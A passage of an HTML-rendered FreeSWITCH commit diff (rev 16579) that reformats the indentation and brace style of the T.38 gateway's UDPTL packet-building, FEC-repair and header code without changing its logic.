+                                fprintf(stderr, &quot;%02X &quot;, data[j]);
+                        fprintf(stderr, &quot;\n&quot;);
</ins><span class="cx"> #endif
</span><del>-        }
-        /* We should now be exactly at the end of the packet. If not, this is a fault. */
-        if (ptr != len)
-            return -1;
-        /* See if we can reconstruct anything which is missing */
-        /* TODO: this does not comprehensively hunt back and repair everything that is possible */
-        for (l = x;  l != ((x - (16 - span*entries)) &amp; UDPTL_BUF_MASK);  l = (l - 1) &amp; UDPTL_BUF_MASK)
-        {
-            if (s-&gt;rx[l].fec_len[0] &lt;= 0)
-                continue;
-            for (m = 0;  m &lt; s-&gt;rx[l].fec_entries;  m++)
-            {
-                limit = (l + m) &amp; UDPTL_BUF_MASK;
-                for (which = -1, k = (limit - s-&gt;rx[l].fec_span*s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK;  k != limit;  k = (k + s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK)
-                {
-                    if (s-&gt;rx[k].buf_len &lt;= 0)
-                        which = (which == -1)  ?  k  :  -2;
-                }
-                if (which &gt;= 0)
-                {
-                    /* Repairable */
-                    for (j = 0;  j &lt; s-&gt;rx[l].fec_len[m];  j++)
-                    {
-                        s-&gt;rx[which].buf[j] = s-&gt;rx[l].fec[m][j];
-                        for (k = (limit - s-&gt;rx[l].fec_span*s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK;  k != limit;  k = (k + s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK)
-                            s-&gt;rx[which].buf[j] ^= (s-&gt;rx[k].buf_len &gt; j)  ?  s-&gt;rx[k].buf[j]  :  0;
-                    }
-                    s-&gt;rx[which].buf_len = s-&gt;rx[l].fec_len[m];
-                    repaired[which] = TRUE;
-                }
-            }
-        }
-        /* Now play any new packets forwards in time */
-        for (l = (x + 1) &amp; UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK;  l != x;  l = (l + 1) &amp; UDPTL_BUF_MASK, j++)
-        {
-            if (repaired[l])
-            {
</del><ins>+                }
+                /* We should now be exactly at the end of the packet. If not, this is a fault. */
+                if (ptr != len)
+                        return -1;
+                /* See if we can reconstruct anything which is missing */
+                /* TODO: this does not comprehensively hunt back and repair everything that is possible */
+                for (l = x; l != ((x - (16 - span * entries)) &amp; UDPTL_BUF_MASK); l = (l - 1) &amp; UDPTL_BUF_MASK) {
+                        if (s-&gt;rx[l].fec_len[0] &lt;= 0)
+                                continue;
+                        for (m = 0; m &lt; s-&gt;rx[l].fec_entries; m++) {
+                                limit = (l + m) &amp; UDPTL_BUF_MASK;
+                                for (which = -1, k = (limit - s-&gt;rx[l].fec_span * s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK; k != limit;
+                                         k = (k + s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK) {
+                                        if (s-&gt;rx[k].buf_len &lt;= 0)
+                                                which = (which == -1) ? k : -2;
+                                }
+                                if (which &gt;= 0) {
+                                        /* Repairable */
+                                        for (j = 0; j &lt; s-&gt;rx[l].fec_len[m]; j++) {
+                                                s-&gt;rx[which].buf[j] = s-&gt;rx[l].fec[m][j];
+                                                for (k = (limit - s-&gt;rx[l].fec_span * s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK; k != limit;
+                                                         k = (k + s-&gt;rx[l].fec_entries) &amp; UDPTL_BUF_MASK)
+                                                        s-&gt;rx[which].buf[j] ^= (s-&gt;rx[k].buf_len &gt; j) ? s-&gt;rx[k].buf[j] : 0;
+                                        }
+                                        s-&gt;rx[which].buf_len = s-&gt;rx[l].fec_len[m];
+                                        repaired[which] = TRUE;
+                                }
+                        }
+                }
+                /* Now play any new packets forwards in time */
+                for (l = (x + 1) &amp; UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) &amp; UDPTL_BUF_MASK, j++) {
+                        if (repaired[l]) {
</ins><span class="cx"> #if defined(UDPTL_DEBUG)
</span><del>-                fprintf(stderr, &quot;Fixed packet %d, len %d\n&quot;, j, l);
</del><ins>+                                fprintf(stderr, &quot;Fixed packet %d, len %d\n&quot;, j, l);
</ins><span class="cx"> #endif
</span><del>-                if (s-&gt;rx_packet_handler(s-&gt;user_data, s-&gt;rx[l].buf, s-&gt;rx[l].buf_len, j) &lt; 0)
-                    fprintf(stderr, &quot;Bad IFP\n&quot;);
-            }
-        }
-    }
-    /* If packets are received out of sequence, we may have already processed this packet from the error
-       recovery information in a packet already received. */
-    if (seq_no &gt;= s-&gt;rx_seq_no)
-    {
-        /* Decode the primary packet */
</del><ins>+                                if (s-&gt;rx_packet_handler(s-&gt;user_data, s-&gt;rx[l].buf, s-&gt;rx[l].buf_len, j) &lt; 0)
+                                        fprintf(stderr, &quot;Bad IFP\n&quot;);
+                        }
+                }
+        }
+        /* If packets are received out of sequence, we may have already processed this packet from the error
+           recovery information in a packet already received. */
+        if (seq_no &gt;= s-&gt;rx_seq_no) {
+                /* Decode the primary packet */
</ins><span class="cx"> #if defined(UDPTL_DEBUG)
</span><del>-        fprintf(stderr, &quot;Primary packet %d, len %d\n&quot;, seq_no, msg_len);
</del><ins>+                fprintf(stderr, &quot;Primary packet %d, len %d\n&quot;, seq_no, msg_len);
</ins><span class="cx"> #endif
</span><del>-        if (s-&gt;rx_packet_handler(s-&gt;user_data, msg, msg_len, seq_no) &lt; 0)
-            fprintf(stderr, &quot;Bad IFP\n&quot;);
-    }
</del><ins>+                if (s-&gt;rx_packet_handler(s-&gt;user_data, msg, msg_len, seq_no) &lt; 0)
+                        fprintf(stderr, &quot;Bad IFP\n&quot;);
+        }
</ins><span class="cx"> 
</span><del>-    s-&gt;rx_seq_no = (seq_no + 1) &amp; 0xFFFF;
-    return 0;
</del><ins>+        s-&gt;rx_seq_no = (seq_no + 1) &amp; 0xFFFF;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len)
</span><span class="cx"> {
</span><del>-    uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
-    int i;
-    int j;
-    int seq;
-    int entry;
-    int entries;
-    int span;
-    int m;
-    int len;
-    int limit;
-    int high_tide;
</del><ins>+        uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
+        int i;
+        int j;
+        int seq;
+        int entry;
+        int entries;
+        int span;
+        int m;
+        int len;
+        int limit;
+        int high_tide;
</ins><span class="cx"> 
</span><del>-    /* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
-       maximum length. */
-    if (msg_len &lt; 1  ||  msg_len &gt; LOCAL_FAX_MAX_DATAGRAM)
-        return -1;
-    seq = s-&gt;tx_seq_no &amp; 0xFFFF;
</del><ins>+        /* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
+           maximum length. */
+        if (msg_len &lt; 1 || msg_len &gt; LOCAL_FAX_MAX_DATAGRAM)
+                return -1;
+        seq = s-&gt;tx_seq_no &amp; 0xFFFF;
</ins><span class="cx"> 
</span><del>-    /* Map the sequence number to an entry in the circular buffer */
-    entry = seq &amp; UDPTL_BUF_MASK;
</del><ins>+        /* Map the sequence number to an entry in the circular buffer */
+        entry = seq &amp; UDPTL_BUF_MASK;
</ins><span class="cx"> 
</span><del>-    /* We save the message in a circular buffer, for generating FEC or
-       redundancy sets later on. */
-    s-&gt;tx[entry].buf_len = msg_len;
-    memcpy(s-&gt;tx[entry].buf, msg, msg_len);
-    
-    /* Build the UDPTL packet */
</del><ins>+        /* We save the message in a circular buffer, for generating FEC or
+           redundancy sets later on. */
+        s-&gt;tx[entry].buf_len = msg_len;
+        memcpy(s-&gt;tx[entry].buf, msg, msg_len);
</ins><span class="cx"> 
</span><del>-    len = 0;
-    /* Encode the sequence number */
-    buf[len++] = (seq &gt;&gt; 8) &amp; 0xFF;
-    buf[len++] = seq &amp; 0xFF;
</del><ins>+        /* Build the UDPTL packet */
</ins><span class="cx"> 
</span><del>-    /* Encode the primary packet */
-    if (encode_open_type(buf, &amp;len, msg, msg_len) &lt; 0)
-        return -1;
</del><ins>+        len = 0;
+        /* Encode the sequence number */
+        buf[len++] = (seq &gt;&gt; 8) &amp; 0xFF;
+        buf[len++] = seq &amp; 0xFF;
</ins><span class="cx"> 
</span><del>-    /* Encode the appropriate type of error recovery information */
-    switch (s-&gt;error_correction_scheme)
-    {
-    case UDPTL_ERROR_CORRECTION_NONE:
-        /* Encode the error recovery type */
-        buf[len++] = 0x00;
-        /* The number of entries will always be zero, so it is pointless allowing
-           for the fragmented case here. */
-        if (encode_length(buf, &amp;len, 0) &lt; 0)
-            return -1;
-        break;
-    case UDPTL_ERROR_CORRECTION_REDUNDANCY:
-        /* Encode the error recovery type */
-        buf[len++] = 0x00;
-        if (s-&gt;tx_seq_no &gt; s-&gt;error_correction_entries)
-            entries = s-&gt;error_correction_entries;
-        else
-            entries = s-&gt;tx_seq_no;
-        /* The number of entries will always be small, so it is pointless allowing
-           for the fragmented case here. */
-        if (encode_length(buf, &amp;len, entries) &lt; 0)
-            return -1;
-        /* Encode the elements */
-        for (i = 0;  i &lt; entries;  i++)
-        {
-            j = (entry - i - 1) &amp; UDPTL_BUF_MASK;
-            if (encode_open_type(buf, &amp;len, s-&gt;tx[j].buf, s-&gt;tx[j].buf_len) &lt; 0)
-                return -1;
-        }
-        break;
-    case UDPTL_ERROR_CORRECTION_FEC:
-        span = s-&gt;error_correction_span;
-        entries = s-&gt;error_correction_entries;
-        if (seq &lt; s-&gt;error_correction_span*s-&gt;error_correction_entries)
-        {
-            /* In the initial stages, wind up the FEC smoothly */
-            entries = seq/s-&gt;error_correction_span;
-            if (seq &lt; s-&gt;error_correction_span)
-                span = 0;
-        }
-        /* Encode the error recovery type */
-        buf[len++] = 0x80;
-        /* Span is defined as an inconstrained integer, which it dumb. It will only
-           ever be a small value. Treat it as such. */
-        buf[len++] = 1;
-        buf[len++] = span;
-        /* The number of entries is defined as a length, but will only ever be a small
-           value. Treat it as such. */
-        buf[len++] = entries;
-        for (m = 0;  m &lt; entries;  m++)
-        {
-            /* Make an XOR'ed entry the maximum length */
-            limit = (entry + m) &amp; UDPTL_BUF_MASK;
-            high_tide = 0;
-            for (i = (limit - span*entries) &amp; UDPTL_BUF_MASK;  i != limit;  i = (i + entries) &amp; UDPTL_BUF_MASK)
-            {
-                if (high_tide &lt; s-&gt;tx[i].buf_len)
-                {
-                    for (j = 0;  j &lt; high_tide;  j++)
-                        fec[j] ^= s-&gt;tx[i].buf[j];
-                    for (  ;  j &lt; s-&gt;tx[i].buf_len;  j++)
-                        fec[j] = s-&gt;tx[i].buf[j];
-                    high_tide = s-&gt;tx[i].buf_len;
-                }
-                else
-                {
-                    for (j = 0;  j &lt; s-&gt;tx[i].buf_len;  j++)
-                        fec[j] ^= s-&gt;tx[i].buf[j];
-                }
-            }
-            if (encode_open_type(buf, &amp;len, fec, high_tide) &lt; 0)
-                return -1;
-        }
-        break;
-    }
</del><ins>+        /* Encode the primary packet */
+        if (encode_open_type(buf, &amp;len, msg, msg_len) &lt; 0)
+                return -1;
</ins><span class="cx"> 
</span><del>-    if (s-&gt;verbose)
-        fprintf(stderr, &quot;\n&quot;);
-    s-&gt;tx_seq_no++;
-    return len;
</del><ins>+        /* Encode the appropriate type of error recovery information */
+        switch (s-&gt;error_correction_scheme) {
+        case UDPTL_ERROR_CORRECTION_NONE:
+                /* Encode the error recovery type */
+                buf[len++] = 0x00;
+                /* The number of entries will always be zero, so it is pointless allowing
+                   for the fragmented case here. */
+                if (encode_length(buf, &amp;len, 0) &lt; 0)
+                        return -1;
+                break;
+        case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+                /* Encode the error recovery type */
+                buf[len++] = 0x00;
+                if (s-&gt;tx_seq_no &gt; s-&gt;error_correction_entries)
+                        entries = s-&gt;error_correction_entries;
+                else
+                        entries = s-&gt;tx_seq_no;
+                /* The number of entries will always be small, so it is pointless allowing
+                   for the fragmented case here. */
+                if (encode_length(buf, &amp;len, entries) &lt; 0)
+                        return -1;
+                /* Encode the elements */
+                for (i = 0; i &lt; entries; i++) {
+                        j = (entry - i - 1) &amp; UDPTL_BUF_MASK;
+                        if (encode_open_type(buf, &amp;len, s-&gt;tx[j].buf, s-&gt;tx[j].buf_len) &lt; 0)
+                                return -1;
+                }
+                break;
+        case UDPTL_ERROR_CORRECTION_FEC:
+                span = s-&gt;error_correction_span;
+                entries = s-&gt;error_correction_entries;
+                if (seq &lt; s-&gt;error_correction_span * s-&gt;error_correction_entries) {
+                        /* In the initial stages, wind up the FEC smoothly */
+                        entries = seq / s-&gt;error_correction_span;
+                        if (seq &lt; s-&gt;error_correction_span)
+                                span = 0;
+                }
+                /* Encode the error recovery type */
+                buf[len++] = 0x80;
+                /* Span is defined as an inconstrained integer, which it dumb. It will only
+                   ever be a small value. Treat it as such. */
+                buf[len++] = 1;
+                buf[len++] = span;
+                /* The number of entries is defined as a length, but will only ever be a small
+                   value. Treat it as such. */
+                buf[len++] = entries;
+                for (m = 0; m &lt; entries; m++) {
+                        /* Make an XOR'ed entry the maximum length */
+                        limit = (entry + m) &amp; UDPTL_BUF_MASK;
+                        high_tide = 0;
+                        for (i = (limit - span * entries) &amp; UDPTL_BUF_MASK; i != limit; i = (i + entries) &amp; UDPTL_BUF_MASK) {
+                                if (high_tide &lt; s-&gt;tx[i].buf_len) {
+                                        for (j = 0; j &lt; high_tide; j++)
+                                                fec[j] ^= s-&gt;tx[i].buf[j];
+                                        for (; j &lt; s-&gt;tx[i].buf_len; j++)
+                                                fec[j] = s-&gt;tx[i].buf[j];
+                                        high_tide = s-&gt;tx[i].buf_len;
+                                } else {
+                                        for (j = 0; j &lt; s-&gt;tx[i].buf_len; j++)
+                                                fec[j] ^= s-&gt;tx[i].buf[j];
+                                }
+                        }
+                        if (encode_open_type(buf, &amp;len, fec, high_tide) &lt; 0)
+                                return -1;
+                }
+                break;
+        }
+
+        if (s-&gt;verbose)
+                fprintf(stderr, &quot;\n&quot;);
+        s-&gt;tx_seq_no++;
+        return len;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><del>-int udptl_set_error_correction(udptl_state_t *s,
-                               int ec_scheme,
-                               int span,
-                               int entries)
</del><ins>+int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries)
</ins><span class="cx"> {
</span><del>-    switch (ec_scheme)
-    {
-    case UDPTL_ERROR_CORRECTION_FEC:
-    case UDPTL_ERROR_CORRECTION_REDUNDANCY:
-    case UDPTL_ERROR_CORRECTION_NONE:
-        s-&gt;error_correction_scheme = ec_scheme;
-        break;
-    case -1:
-        /* Just don't change the scheme */
-        break;
-    default:
-        return -1;
-    }
-    if (span &gt;= 0)
-        s-&gt;error_correction_span = span;
-    if (entries &gt;= 0)
-        s-&gt;error_correction_entries = entries;
-    return 0;
</del><ins>+        switch (ec_scheme) {
+        case UDPTL_ERROR_CORRECTION_FEC:
+        case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+        case UDPTL_ERROR_CORRECTION_NONE:
+                s-&gt;error_correction_scheme = ec_scheme;
+                break;
+        case -1:
+                /* Just don't change the scheme */
+                break;
+        default:
+                return -1;
+        }
+        if (span &gt;= 0)
+                s-&gt;error_correction_span = span;
+        if (entries &gt;= 0)
+                s-&gt;error_correction_entries = entries;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><del>-int udptl_get_error_correction(udptl_state_t *s,
-                               int *ec_scheme,
-                               int *span,
-                               int *entries)
</del><ins>+int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries)
</ins><span class="cx"> {
</span><del>-    if (ec_scheme)
-        *ec_scheme = s-&gt;error_correction_scheme;
-    if (span)
-        *span = s-&gt;error_correction_span;
-    if (entries)
-        *entries = s-&gt;error_correction_entries;
-    return 0;
</del><ins>+        if (ec_scheme)
+                *ec_scheme = s-&gt;error_correction_scheme;
+        if (span)
+                *span = s-&gt;error_correction_span;
+        if (entries)
+                *entries = s-&gt;error_correction_entries;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram)
</span><span class="cx"> {
</span><del>-    s-&gt;local_max_datagram_size = max_datagram;
-    return 0;
</del><ins>+        s-&gt;local_max_datagram_size = max_datagram;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> int udptl_get_local_max_datagram(udptl_state_t *s)
</span><span class="cx"> {
</span><del>-    return s-&gt;local_max_datagram_size;
</del><ins>+        return s-&gt;local_max_datagram_size;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram)
</span><span class="cx"> {
</span><del>-    s-&gt;far_max_datagram_size = max_datagram;
-    return 0;
</del><ins>+        s-&gt;far_max_datagram_size = max_datagram;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> int udptl_get_far_max_datagram(udptl_state_t *s)
</span><span class="cx"> {
</span><del>-    return s-&gt;far_max_datagram_size;
</del><ins>+        return s-&gt;far_max_datagram_size;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><del>-udptl_state_t *udptl_init(udptl_state_t *s,
-                          int ec_scheme,
-                          int span,
-                          int entries,
-                          udptl_rx_packet_handler_t rx_packet_handler,
-                          void *user_data)
</del><ins>+udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data)
</ins><span class="cx"> {
</span><del>-    int i;
</del><ins>+        int i;
</ins><span class="cx"> 
</span><del>-    if (rx_packet_handler == NULL)
-        return NULL;
</del><ins>+        if (rx_packet_handler == NULL)
+                return NULL;
</ins><span class="cx"> 
</span><del>-    if (s == NULL)
-    {
-        if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
-            return NULL;
-    }
-    memset(s, 0, sizeof(*s));    
-    
-    s-&gt;error_correction_scheme = ec_scheme;
-    s-&gt;error_correction_span = span;
-    s-&gt;error_correction_entries = entries;
-    
-    s-&gt;far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
-    s-&gt;local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
</del><ins>+        if (s == NULL) {
+                if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
+                        return NULL;
+        }
+        memset(s, 0, sizeof(*s));
</ins><span class="cx"> 
</span><del>-    memset(&amp;s-&gt;rx, 0, sizeof(s-&gt;rx));
-    memset(&amp;s-&gt;tx, 0, sizeof(s-&gt;tx));
-    for (i = 0;  i &lt;= UDPTL_BUF_MASK;  i++)
-    {
-        s-&gt;rx[i].buf_len = -1;
-        s-&gt;tx[i].buf_len = -1;
-    }
</del><ins>+        s-&gt;error_correction_scheme = ec_scheme;
+        s-&gt;error_correction_span = span;
+        s-&gt;error_correction_entries = entries;
</ins><span class="cx"> 
</span><del>-    s-&gt;rx_packet_handler = rx_packet_handler;
-    s-&gt;user_data = user_data;
</del><ins>+        s-&gt;far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
+        s-&gt;local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
</ins><span class="cx"> 
</span><del>-    return s;
</del><ins>+        memset(&amp;s-&gt;rx, 0, sizeof(s-&gt;rx));
+        memset(&amp;s-&gt;tx, 0, sizeof(s-&gt;tx));
+        for (i = 0; i &lt;= UDPTL_BUF_MASK; i++) {
+                s-&gt;rx[i].buf_len = -1;
+                s-&gt;tx[i].buf_len = -1;
+        }
+
+        s-&gt;rx_packet_handler = rx_packet_handler;
+        s-&gt;user_data = user_data;
+
+        return s;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> int udptl_release(udptl_state_t *s)
</span><span class="cx"> {
</span><del>-    return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> /*- End of file ------------------------------------------------------------*/
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -30,71 +30,66 @@
</span><span class="cx"> 
</span><span class="cx"> #define UDPTL_BUF_MASK              15
</span><span class="cx"> 
</span><del>-typedef int (udptl_rx_packet_handler_t)(void *user_data, const uint8_t msg[], int len, int seq_no);
</del><ins>+typedef int (udptl_rx_packet_handler_t) (void *user_data, const uint8_t msg[], int len, int seq_no);
</ins><span class="cx"> 
</span><del>-typedef struct
-{
-    int buf_len;
-    uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
</del><ins>+typedef struct {
+        int buf_len;
+        uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
</ins><span class="cx"> } udptl_fec_tx_buffer_t;
</span><span class="cx"> 
</span><del>-typedef struct
-{
-    int buf_len;
-    uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
-    int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
-    uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
-    int fec_span;
-    int fec_entries;
</del><ins>+typedef struct {
+        int buf_len;
+        uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
+        int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
+        uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
+        int fec_span;
+        int fec_entries;
</ins><span class="cx"> } udptl_fec_rx_buffer_t;
</span><span class="cx"> 
</span><del>-struct udptl_state_s
-{
-    udptl_rx_packet_handler_t *rx_packet_handler;
-    void *user_data;
</del><ins>+struct udptl_state_s {
+        udptl_rx_packet_handler_t *rx_packet_handler;
+        void *user_data;
</ins><span class="cx"> 
</span><del>-    /*! This option indicates the error correction scheme used in transmitted UDPTL
-        packets. */
-    int error_correction_scheme;
</del><ins>+        /*! This option indicates the error correction scheme used in transmitted UDPTL
+           packets. */
+        int error_correction_scheme;
</ins><span class="cx"> 
</span><del>-    /*! This option indicates the number of error correction entries transmitted in
-        UDPTL packets. */
-    int error_correction_entries;
</del><ins>+        /*! This option indicates the number of error correction entries transmitted in
+           UDPTL packets. */
+        int error_correction_entries;
</ins><span class="cx"> 
</span><del>-    /*! This option indicates the span of the error correction entries in transmitted
-        UDPTL packets (FEC only). */
-    int error_correction_span;
</del><ins>+        /*! This option indicates the span of the error correction entries in transmitted
+           UDPTL packets (FEC only). */
+        int error_correction_span;
</ins><span class="cx"> 
</span><del>-    /*! This option indicates the maximum size of a datagram that can be accepted by
-        the remote device. */
-    int far_max_datagram_size;
</del><ins>+        /*! This option indicates the maximum size of a datagram that can be accepted by
+           the remote device. */
+        int far_max_datagram_size;
</ins><span class="cx"> 
</span><del>-    /*! This option indicates the maximum size of a datagram that we are prepared to
-        accept. */
-    int local_max_datagram_size;
</del><ins>+        /*! This option indicates the maximum size of a datagram that we are prepared to
+           accept. */
+        int local_max_datagram_size;
</ins><span class="cx"> 
</span><del>-    int verbose;
</del><ins>+        int verbose;
</ins><span class="cx"> 
</span><del>-    int tx_seq_no;
-    int rx_seq_no;
-    int rx_expected_seq_no;
</del><ins>+        int tx_seq_no;
+        int rx_seq_no;
+        int rx_expected_seq_no;
</ins><span class="cx"> 
</span><del>-    udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
-    udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
</del><ins>+        udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
+        udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-enum
-{
-    UDPTL_ERROR_CORRECTION_NONE,
-    UDPTL_ERROR_CORRECTION_FEC,
-    UDPTL_ERROR_CORRECTION_REDUNDANCY
</del><ins>+enum {
+        UDPTL_ERROR_CORRECTION_NONE,
+        UDPTL_ERROR_CORRECTION_FEC,
+        UDPTL_ERROR_CORRECTION_REDUNDANCY
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> typedef struct udptl_state_s udptl_state_t;
</span><span class="cx"> 
</span><span class="cx"> #if defined(__cplusplus)
</span><del>-extern &quot;C&quot;
-{
</del><ins>+extern &quot;C&quot; {
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Process an arriving UDPTL packet.
</span><span class="lines">@@ -102,7 +97,7 @@
</span><span class="cx">     \param buf The UDPTL packet buffer.
</span><span class="cx">     \param len The length of the packet.
</span><span class="cx">     \return 0 for OK. */
</span><del>-int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
</del><ins>+        int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
</ins><span class="cx"> 
</span><span class="cx"> /*! \brief Construct a UDPTL packet, ready for transmission.
</span><span class="cx">     \param s The UDPTL context.
</span><span class="lines">@@ -110,7 +105,7 @@
</span><span class="cx">     \param msg The primary packet.
</span><span class="cx">     \param len The length of the primary packet.
</span><span class="cx">     \return The length of the constructed UDPTL packet. */
</span><del>-int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
</del><ins>+        int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
</ins><span class="cx"> 
</span><span class="cx"> /*! \brief Change the error correction settings of a UDPTL context.
</span><span class="cx">     \param s The UDPTL context.
</span><span class="lines">@@ -118,10 +113,7 @@
</span><span class="cx">     \param span The packet span over which error correction should be applied.
</span><span class="cx">     \param entries The number of error correction entries to include in packets.
</span><span class="cx">     \return 0 for OK. */
</span><del>-int udptl_set_error_correction(udptl_state_t *s,
-                               int ec_scheme,
-                               int span,
-                               int entries);
</del><ins>+        int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries);
</ins><span class="cx"> 
</span><span class="cx"> /*! \brief Check the error correction settings of a UDPTL context.
</span><span class="cx">     \param s The UDPTL context.
</span><span class="lines">@@ -129,18 +121,15 @@
</span><span class="cx">     \param span The packet span over which error correction is being applied.
</span><span class="cx">     \param entries The number of error correction being included in packets.
</span><span class="cx">     \return 0 for OK. */
</span><del>-int udptl_get_error_correction(udptl_state_t *s,
-                               int *ec_scheme,
-                               int *span,
-                               int *entries);
</del><ins>+        int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries);
</ins><span class="cx"> 
</span><del>-int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
</del><ins>+        int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
</ins><span class="cx"> 
</span><del>-int udptl_get_local_max_datagram(udptl_state_t *s);
</del><ins>+        int udptl_get_local_max_datagram(udptl_state_t *s);
</ins><span class="cx"> 
</span><del>-int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
</del><ins>+        int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
</ins><span class="cx"> 
</span><del>-int udptl_get_far_max_datagram(udptl_state_t *s);
</del><ins>+        int udptl_get_far_max_datagram(udptl_state_t *s);
</ins><span class="cx"> 
</span><span class="cx"> /*! \brief Initialise a UDPTL context.
</span><span class="cx">     \param s The UDPTL context.
</span><span class="lines">@@ -150,21 +139,15 @@
</span><span class="cx">     \param rx_packet_handler The callback function, used to report arriving IFP packets.
</span><span class="cx">     \param user_data An opaque pointer supplied to rx_packet_handler.
</span><span class="cx">     \return A pointer to the UDPTL context, or NULL if there was a problem. */
</span><del>-udptl_state_t *udptl_init(udptl_state_t *s,
-                          int ec_scheme,
-                          int span,
-                          int entries,
-                          udptl_rx_packet_handler_t rx_packet_handler,
-                          void *user_data);
</del><ins>+        udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data);
</ins><span class="cx"> 
</span><span class="cx"> /*! \brief Release a UDPTL context.
</span><span class="cx">     \param s The UDPTL context.
</span><span class="cx">     \return 0 for OK. */
</span><del>-int udptl_release(udptl_state_t *s);
</del><ins>+        int udptl_release(udptl_state_t *s);
</ins><span class="cx"> 
</span><span class="cx"> #if defined(__cplusplus)
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx"> /*- End of file ------------------------------------------------------------*/
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_valet_parkingmod_valet_parkingc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c (16578 => 16579)</h4>
<pre class="diff"><span>
